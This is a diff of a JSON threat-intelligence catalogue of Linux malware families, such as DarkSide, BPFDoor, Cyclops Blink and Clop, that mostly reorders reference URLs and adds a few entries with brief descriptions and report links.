"https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html", + "https://twitter.com/VK_Intel/status/1423188690126266370", + "https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d", + "https://us-cert.cisa.gov/ncas/alerts/aa21-291a", + "https://www.hhs.gov/sites/default/files/demystifying-blackmatter.pdf", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", + "https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-blackmatter-lockbit-thor", + "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-moves-victims-to-lockbit-after-shutdown/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/", + "https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html", "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", "https://twitter.com/GelosSnake/status/1451465959894667275", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://blog.group-ib.com/blackmatter#", + "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/", "https://www.mandiant.com/resources/chasing-avaddon-ransomware", - "https://us-cert.cisa.gov/ncas/alerts/aa21-291a", - "https://blog.group-ib.com/blackmatter2" + "https://blog.group-ib.com/blackmatter2", + "https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://www.youtube.com/watch?v=NIiEcOryLpI", + "https://news.sophos.com/en-us/2021/08/09/blackmatter-ransomware-emerges-from-the-shadow-of-darkside/", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", + "https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/" ], "synonyms": [], "type": [] @@ -3509,8 +3801,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackrota", "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://www.kryptoslogic.com/blog/2020/12/automated-string-de-gobfuscation/", - "https://blog.netlab.360.com/blackrota-an-obfuscated-backdoor-written-in-go-en/" + "https://blog.netlab.360.com/blackrota-an-obfuscated-backdoor-written-in-go-en/", + "https://www.kryptoslogic.com/blog/2020/12/automated-string-de-gobfuscation/" ], "synonyms": [], "type": [] @@ -3518,6 +3810,20 @@ "uuid": "a30aedcc-562e-437a-827c-55bc00cf3506", "value": "Blackrota" }, + { + "description": "According to Mandiant, this malware family is attributed to potential chinese background and directly related to observed exploitation of Fortinet's SSL-VPN (CVE-2022-42475). There is also a Windows variant.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.boldmove", + "https://www.mandiant.com/resources/blog/chinese-actors-exploit-fortios-flaw", + "https://thehackernews.com/2023/01/new-chinese-malware-spotted-exploiting.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "8f347147-c34e-4698-9439-c640233fca15", + "value": "BOLDMOVE (ELF)" + }, { "description": "This is a pentesting tool and according to the author, \"BOtB is a container analysis and exploitation tool designed to be used by pentesters and engineers while also being CI/CD friendly with common CI/CD technologies.\".\r\n\r\nIt has been observed being used by TeamTNT in their activities for spreading crypto-mining malware.", "meta": { @@ -3538,10 +3844,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.botenago", + "https://cybersecurity.att.com/blogs/labs-research/att-alien-labs-finds-new-golang-malwarebotenago-targeting-millions-of-routers-and-iot-devices-with-more-than-30-exploits", + "https://cybersecurity.att.com/blogs/labs-research/shikitega-new-stealthy-malware-targeting-linux", "https://cybersecurity.att.com/blogs/labs-research/botenago-strike-again-malware-source-code-uploaded-to-github", "https://www.nozominetworks.com/blog/new-botenago-variant-discovered-by-nozomi-networks-labs/", - "https://lifars.com/2022/01/newly-found-malware-threatens-iot-devices/", - "https://cybersecurity.att.com/blogs/labs-research/att-alien-labs-finds-new-golang-malwarebotenago-targeting-millions-of-routers-and-iot-devices-with-more-than-30-exploits" + "https://lifars.com/2022/01/newly-found-malware-threatens-iot-devices/" ], "synonyms": [], "type": [] @@ -3554,15 +3861,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bpfdoor", + "https://www.deepinstinct.com/blog/bpfdoor-malware-evolves-stealthy-sniffing-backdoor-ups-its-game", + "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf", + "https://twitter.com/cyb3rops/status/1523227511551033349", + "https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/", + "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896", + "https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/", + "https://twitter.com/CraigHRowland/status/1523266585133457408", "https://blog.qualys.com/vulnerabilities-threat-research/2022/08/01/heres-a-simple-script-to-detect-the-stealthy-nation-state-bpfdoor", "https://elastic.github.io/security-research/intelligence/2022/05/04.bpfdoor/article/#", - "https://troopers.de/troopers22/talks/7cv8pz/", - "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf", - "https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/", - "https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/", - "https://twitter.com/CraigHRowland/status/1523266585133457408", - "https://twitter.com/cyb3rops/status/1523227511551033349", - "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896" + "https://troopers.de/troopers22/talks/7cv8pz/" ], "synonyms": [ "JustForFun" @@ -3572,17 +3880,30 @@ "uuid": "3c7082b6-0181-4064-8e35-ab522b49200f", "value": "BPFDoor" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.brute_ratel", + "https://bruteratel.com/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "2fa4ac4e-3f89-4fd0-b4fd-2c776dcf69d8", + "value": "brute_ratel" + }, { "description": "Pangu Lab discovered this backdoor during a forensic investigation in 2013. They refer to related incidents as \"Operation Telescreen\".", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bvp47", - "https://thehackernews.com/2022/02/chinese-experts-uncover-details-of.html", - "https://www.pangulab.cn/files/The_Bvp47_a_top-tier_backdoor_of_us_nsa_equation_group_ii.en.pdf", - "https://www.bleepingcomputer.com/news/security/nsa-linked-bvp47-linux-backdoor-widely-undetected-for-10-years/", - "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf", "https://www.pangulab.cn/files/The_Bvp47_a_top-tier_backdoor_of_us_nsa_equation_group.en.pdf", - "https://www.pangulab.cn/en/post/the_bvp47_a_top-tier_backdoor_of_us_nsa_equation_group/" + "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf", + "https://www.pangulab.cn/files/The_Bvp47_a_top-tier_backdoor_of_us_nsa_equation_group_ii.en.pdf", + "https://www.pangulab.cn/en/post/the_bvp47_a_top-tier_backdoor_of_us_nsa_equation_group/", + "https://www.bleepingcomputer.com/news/security/nsa-linked-bvp47-linux-backdoor-widely-undetected-for-10-years/", + "https://thehackernews.com/2022/02/chinese-experts-uncover-details-of.html" ], "synonyms": [], "type": [] @@ -3590,6 +3911,19 @@ "uuid": "0492f9bf-3c5d-4c17-993b-2b53d0fb06f7", "value": "Bvp47" }, + { + "description": "Linux malware cross-compiled for x86, MIPS, ARM. XOR encoded strings, 13 commands supported for its C&C, including downloading, file modification and execution and ability to run shell commands.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.caja", + "https://mp.weixin.qq.com/s/pd6fUs5TLdBtwUHauclDOQ" + ], + "synonyms": [], + "type": [] + }, + "uuid": "06816c22-be7c-44db-8d0d-395ab306bb9b", + "value": "Caja" + }, { "description": "According to Avast Decoded, Caligula is an IRC multiplatform bot that allows to perform DDoS attacks. It is written in Go and distributed in ELF files targeting Intel 32/64bit code, as well as ARM 32bit and PowerPC 64bit. It is based on the Hellabot open source project.", "meta": { @@ -3621,11 +3955,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.cdorked", - "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/", - "https://www.symantec.com/security-center/writeup/2013-050214-5501-99", - "https://www.welivesecurity.com/2013/05/02/the-stealthiness-of-linuxcdorked-a-clarification/", "https://blogs.cisco.com/security/linuxcdorked-faqs", - "https://blog.sucuri.net/2014/03/windigo-linux-analysis-ebury-and-cdorked.html" + "https://blog.sucuri.net/2014/03/windigo-linux-analysis-ebury-and-cdorked.html", + "https://www.welivesecurity.com/2013/05/02/the-stealthiness-of-linuxcdorked-a-clarification/", + "https://www.symantec.com/security-center/writeup/2013-050214-5501-99", + "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/" ], "synonyms": [ "CDorked.A" @@ -3674,13 +4008,27 @@ "uuid": "7a226df2-9599-4002-9a38-b044e16f76a9", "value": "Cetus" }, + { + "description": "Multi-functional malware written in Go, targeting both Linux and Windows, evolved from elf.kaiji.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.chaos", + "https://www.trendmicro.com/en_us/research/22/l/linux-cryptomining-enhanced-via-chaos-rat-.html", + "https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ef03e3c3-32d5-483a-bd1f-97dd531c4bca", + "value": "Chaos (ELF)" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.chapro", - "http://contagiodump.blogspot.com/2012/12/dec-2012-linuxchapro-trojan-apache.html", - "http://blog.eset.com/2012/12/18/malicious-apache-module-used-for-content-injection-linuxchapro-a" + "http://blog.eset.com/2012/12/18/malicious-apache-module-used-for-content-injection-linuxchapro-a", + "http://contagiodump.blogspot.com/2012/12/dec-2012-linuxchapro-trojan-apache.html" ], "synonyms": [], "type": [] @@ -3701,16 +4049,33 @@ "uuid": "e5600185-39b7-49a0-bd60-a6806c7d47dd", "value": "Chisel (ELF)" }, + { + "description": "ELF version of clop ransomware.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.clop", + "https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/", + "https://www.helpnetsecurity.com/2023/02/07/cl0p-ransomware-decryptor-linux/", + "https://www.sentinelone.com/labs/cl0p-ransomware-targets-linux-systems-with-flawed-encryption-decryptor-available/" + ], + "synonyms": [ + "Cl0p" + ], + "type": [] + }, + "uuid": "3d11ec52-9ca8-4d83-99d4-6658f306e8e4", + "value": "Clop (ELF)" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.cloud_snooper", - "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophoslabs-cloud-snooper-report.pdf", + "https://news.sophos.com/wp-content/uploads/2020/02/CloudSnooper_report.pdf", "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought", - "https://news.sophos.com/wp-content/uploads/2020/02/CloudSnooper_report.pdf" + "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/" ], "synonyms": [ "Snoopy" @@ -3725,17 +4090,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.conti", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", + "https://www.advintel.io/post/advintel-s-state-of-emotet-aka-spmtools-displays-over-million-compromised-machines-through-2022", + "https://damonmccoy.com/papers/Ransomware_eCrime22.pdf", + "https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-group-targets-esxi-hypervisors-with-its-linux-variant.html", + "https://www.youtube.com/watch?v=cYx7sQRbjGA", "https://www.esentire.com/blog/analysis-of-leaked-conti-intrusion-procedures-by-esentires-threat-response-unit-tru", "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", "https://securelist.com/new-ransomware-trends-in-2022/106457/", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", - "https://www.secureworks.com/blog/gold-ulrick-continues-conti-operations-despite-public-disclosures", - "https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike", - "https://www.advintel.io/post/advintel-s-state-of-emotet-aka-spmtools-displays-over-million-compromised-machines-through-2022", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-group-targets-esxi-hypervisors-with-its-linux-variant.html", "https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again", - "https://www.youtube.com/watch?v=cYx7sQRbjGA" + "https://www.secureworks.com/blog/gold-ulrick-continues-conti-operations-despite-public-disclosures", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself" ], "synonyms": [ "Conti Locker" @@ -3803,25 +4170,25 @@ "value": "CronRAT" }, { - "description": "According to CISA, Cyclops Blink appears to be a replacement framework for the VPNFilter malware exposed in 2018, and which exploited network devices, primarily small office/home office (SOHO) routers and network attached storage (NAS) devices. Cyclops Blink has been deployed since at least June 2019, fourteen months after VPNFilter was disrupted. In common with VPNFilter, Cyclops Blink deployment also appears indiscriminate and widespread. The actor has so far primarily deployed Cyclops Blink to WatchGuard devices, but it is likely that Sandworm would be capable of compiling the malware for other architectures and firmware.", + "description": "According to CISA, Cyclops Blink appears to be a replacement framework for the VPNFilter malware exposed in 2018, and which exploited network devices, primarily small office/home office (SOHO) routers and network attached storage (NAS) devices. Cyclops Blink has been deployed since at least June 2019, fourteen months after VPNFilter was disrupted. In common with VPNFilter, Cyclops Blink deployment also appears indiscriminate and widespread. The actor has so far primarily deployed Cyclops Blink to WatchGuard and ASUS devices, but it is likely that Sandworm would be capable of compiling the malware for other architectures and firmware.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.cyclops_blink", - "https://github.com/trendmicro/research/blob/main/cyclops_blink/c2-scripts/check.py", - "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", - "https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html", - "https://www.bleepingcomputer.com/news/security/cisa-warns-orgs-of-watchguard-bug-exploited-by-russian-state-hackers/", - "https://www.splunk.com/en_us/blog/security/strt-ta03-cpe-destructive-software.html", "https://www.cisa.gov/uscert/ncas/alerts/aa22-054a", - "https://www.theregister.com/2022/03/18/cyclops_asus_routers/", - "https://www.justice.gov/opa/pr/justice-department-announces-court-authorized-disruption-botnet-controlled-russian-federation", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyclops-blink-sets-sights-on-asus-routers/Appendix_Cyclops%20Blink%20Sets%20Sights%20on%20ASUS%20Routers.pdf", - "https://www.justice.gov/opa/press-release/file/1491281/download", "https://www.justice.gov/opa/video/attorney-general-merrick-b-garland-announces-enforcement-actions-disrupt-and-prosecute", - "https://attack.mitre.org/groups/G0034", - "https://www.bleepingcomputer.com/news/security/us-disrupts-russian-cyclops-blink-botnet-before-being-used-in-attacks/", + "https://www.justice.gov/opa/pr/justice-department-announces-court-authorized-disruption-botnet-controlled-russian-federation", + "https://github.com/trendmicro/research/blob/main/cyclops_blink/c2-scripts/check.py", "https://www.shadowserver.org/news/shadowserver-special-reports-cyclops-blink/", - "https://www.bleepingcomputer.com/news/security/asus-warns-of-cyclops-blink-malware-attacks-targeting-routers/" + "https://www.splunk.com/en_us/blog/security/strt-ta03-cpe-destructive-software.html", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", + "https://www.bleepingcomputer.com/news/security/asus-warns-of-cyclops-blink-malware-attacks-targeting-routers/", + "https://www.bleepingcomputer.com/news/security/us-disrupts-russian-cyclops-blink-botnet-before-being-used-in-attacks/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyclops-blink-sets-sights-on-asus-routers/Appendix_Cyclops%20Blink%20Sets%20Sights%20on%20ASUS%20Routers.pdf", + "https://www.bleepingcomputer.com/news/security/cisa-warns-orgs-of-watchguard-bug-exploited-by-russian-state-hackers/", + "https://www.justice.gov/opa/press-release/file/1491281/download", + "https://www.theregister.com/2022/03/18/cyclops_asus_routers/", + "https://attack.mitre.org/groups/G0034", + "https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html" ], "synonyms": [], "type": [] @@ -3834,15 +4201,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.dacls", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://blog.netlab.360.com/dacls-the-dual-platform-rat/", + "https://www.sygnia.co/mata-framework", + "https://securelist.com/mata-multi-platform-targeted-malware-framework/97746/", + "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought", "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/", - "https://blog.netlab.360.com/dacls-the-dual-platform-rat/", - "https://securelist.com/mata-multi-platform-targeted-malware-framework/97746/", - "https://www.sygnia.co/mata-framework", - "https://securelist.com/apt-trends-report-q2-2020/97937/", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought" + "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/" ], "synonyms": [], "type": [] @@ -3855,11 +4222,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.dark", - "https://twitter.com/ESETresearch/status/1440052837820428298?s=20", - "https://www.lacework.com/blog/kinsing-dark-iot-botnet-among-threats-targeting-cve-2022-26134/", "https://blogs.juniper.net/en-us/threat-research/attacks-continue-against-realtek-vulnerabilities", + "https://twitter.com/ESETresearch/status/1440052837820428298?s=20", + "https://www.radware.com/getmedia/18d24c2d-c092-4a61-9ad6-ebb92b7a49b8/Alert_Realtek_SDK.aspx", "https://www.radware.com/getmedia/d312a5fa-2d8d-4c1e-b31e-73046f24bf35/Alert-Dark-OMIGOD.aspx", - "https://www.radware.com/getmedia/18d24c2d-c092-4a61-9ad6-ebb92b7a49b8/Alert_Realtek_SDK.aspx" + "https://www.lacework.com/blog/kinsing-dark-iot-botnet-among-threats-targeting-cve-2022-26134/" ], "synonyms": [ "Dark.IoT" @@ -3888,58 +4255,59 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.darkside", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-servers-reportedly-seized-revil-restricts-targets/", - "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", - "https://www.crowdstrike.com/blog/falcon-protects-from-darkside-ransomware/", "https://krebsonsecurity.com/2021/05/darkside-ransomware-gang-quits-after-servers-bitcoin-stash-seized/", - "https://blog.group-ib.com/blackmatter#", - "https://www.wsj.com/articles/colonial-pipeline-ceo-tells-why-he-paid-hackers-a-4-4-million-ransom-11621435636", - "https://www.technologyreview.com/2021/05/24/1025195/colonial-pipeline-ransomware-bitdefender/", - "https://www.nytimes.com/2021/05/29/world/europe/ransomware-russia-darkside.html", - "https://www.crowdstrike.com/blog/how-ransomware-adversaries-reacted-to-the-darkside-pipeline-attack/", - "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", - "https://securityscorecard.com/blog/new-evidence-supports-assessment-that-darkside-likely-responsible-for-colonial-pipeline-ransomware-attack-others-targeted", - "https://blog.gigamon.com/2021/05/17/tracking-darkside-and-ransomware-the-network-view/", - "https://www.elliptic.co/blog/elliptic-follows-bitcoin-ransoms-paid-by-darkside-ransomware-victims", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://www.secureworks.com/blog/ransomware-groups-use-tor-based-backdoor-for-persistent-access", - "https://therecord.media/popular-hacking-forum-bans-ransomware-ads/", - "https://abcnews.go.com/Politics/biden-speak-colonial-pipeline-attack-americans-face-gasoline/story?id=77666212", "https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/", - "https://medium.com/s2wlab/w1-jun-en-story-of-the-week-ransomware-on-the-darkweb-af491d33868b", - "https://www.justice.gov/opa/pr/department-justice-seizes-23-million-cryptocurrency-paid-ransomware-extortionists-darkside", - "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", - "https://www.databreaches.net/a-former-darkside-listing-shows-up-on-revils-leak-site/", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", - "https://www.ic3.gov/Media/News/2021/211101.pdf", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service", - "https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group", - "https://www.trendmicro.com/en_us/research/21/e/darkside-linux-vms-targeted.html", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/darkside-ransomware-victims-sold-short/", - "https://www.elliptic.co/blog/darkside-ransomware-has-netted-over-90-million-in-bitcoin", - "https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/", - "https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/", + "https://www.trendmicro.com/en_us/research/21/e/darkside-linux-vms-targeted.html", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", "https://www.intel471.com/blog/darkside-ransomware-shut-down-revil-avaddon-cybercrime", - "https://twitter.com/JAMESWT_MHT/status/1388301138437578757", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/", - "https://www.youtube.com/watch?v=NIiEcOryLpI", - "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", - "https://twitter.com/GelosSnake/status/1451465959894667275", - "https://www.bleepingcomputer.com/news/security/chemical-distributor-pays-44-million-to-darkside-ransomware/", - "https://www.maltego.com/blog/chasing-darkside-affiliates-identifying-threat-actors-connected-to-darkside-ransomware-using-maltego-intel-471-1/", + "https://www.youtube.com/watch?v=qxPXxWMI2i4", + "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", + "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://www.justice.gov/opa/pr/department-justice-seizes-23-million-cryptocurrency-paid-ransomware-extortionists-darkside", + "https://www.technologyreview.com/2021/05/24/1025195/colonial-pipeline-ransomware-bitdefender/", + "https://www.digitalshadows.com/blog-and-research/ransomware-as-a-service-rogue-affiliates-and-whats-next/", + "https://www.elliptic.co/blog/darkside-ransomware-has-netted-over-90-million-in-bitcoin", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-servers-reportedly-seized-revil-restricts-targets/", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.nytimes.com/2021/05/29/world/europe/ransomware-russia-darkside.html", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", + "https://abcnews.go.com/Politics/biden-speak-colonial-pipeline-attack-americans-face-gasoline/story?id=77666212", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/", + "https://www.bleepingcomputer.com/news/security/chemical-distributor-pays-44-million-to-darkside-ransomware/", "https://pylos.co/2021/05/13/mind-the-air-gap/", "https://otx.alienvault.com/pulse/60d0afbc395c24edefb33bb9", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://www.crowdstrike.com/blog/how-ransomware-adversaries-reacted-to-the-darkside-pipeline-attack/", + "https://securityscorecard.com/blog/new-evidence-supports-assessment-that-darkside-likely-responsible-for-colonial-pipeline-ransomware-attack-others-targeted", + "https://twitter.com/GelosSnake/status/1451465959894667275", + "https://blog.group-ib.com/blackmatter#", + "https://www.ic3.gov/Media/News/2021/211101.pdf", + "https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/", + "https://twitter.com/JAMESWT_MHT/status/1388301138437578757", + "https://therecord.media/popular-hacking-forum-bans-ransomware-ads/", "https://cybersecurity.att.com/blogs/labs-research/darkside-raas-in-linux-version", - "https://therecord.media/darkside-ransomware-gang-says-it-lost-control-of-its-servers-money-a-day-after-biden-threat/", - "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", - "https://www.digitalshadows.com/blog-and-research/ransomware-as-a-service-rogue-affiliates-and-whats-next/", + "https://www.maltego.com/blog/chasing-darkside-affiliates-identifying-threat-actors-connected-to-darkside-ransomware-using-maltego-intel-471-1/", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/", "https://blog.group-ib.com/blackmatter2", - "https://www.youtube.com/watch?v=qxPXxWMI2i4" + "https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service", + "https://medium.com/s2wlab/w1-jun-en-story-of-the-week-ransomware-on-the-darkweb-af491d33868b", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://www.secureworks.com/blog/ransomware-groups-use-tor-based-backdoor-for-persistent-access", + "https://www.crowdstrike.com/blog/falcon-protects-from-darkside-ransomware/", + "https://www.elliptic.co/blog/elliptic-follows-bitcoin-ransoms-paid-by-darkside-ransomware-victims", + "https://blog.gigamon.com/2021/05/17/tracking-darkside-and-ransomware-the-network-view/", + "https://www.youtube.com/watch?v=NIiEcOryLpI", + "https://www.wsj.com/articles/colonial-pipeline-ceo-tells-why-he-paid-hackers-a-4-4-million-ransom-11621435636", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/", + "https://www.databreaches.net/a-former-darkside-listing-shows-up-on-revils-leak-site/", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", + "https://therecord.media/darkside-ransomware-gang-says-it-lost-control-of-its-servers-money-a-day-after-biden-threat/", + "https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group" ], "synonyms": [], "type": [] @@ -3966,9 +4334,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.ddg", 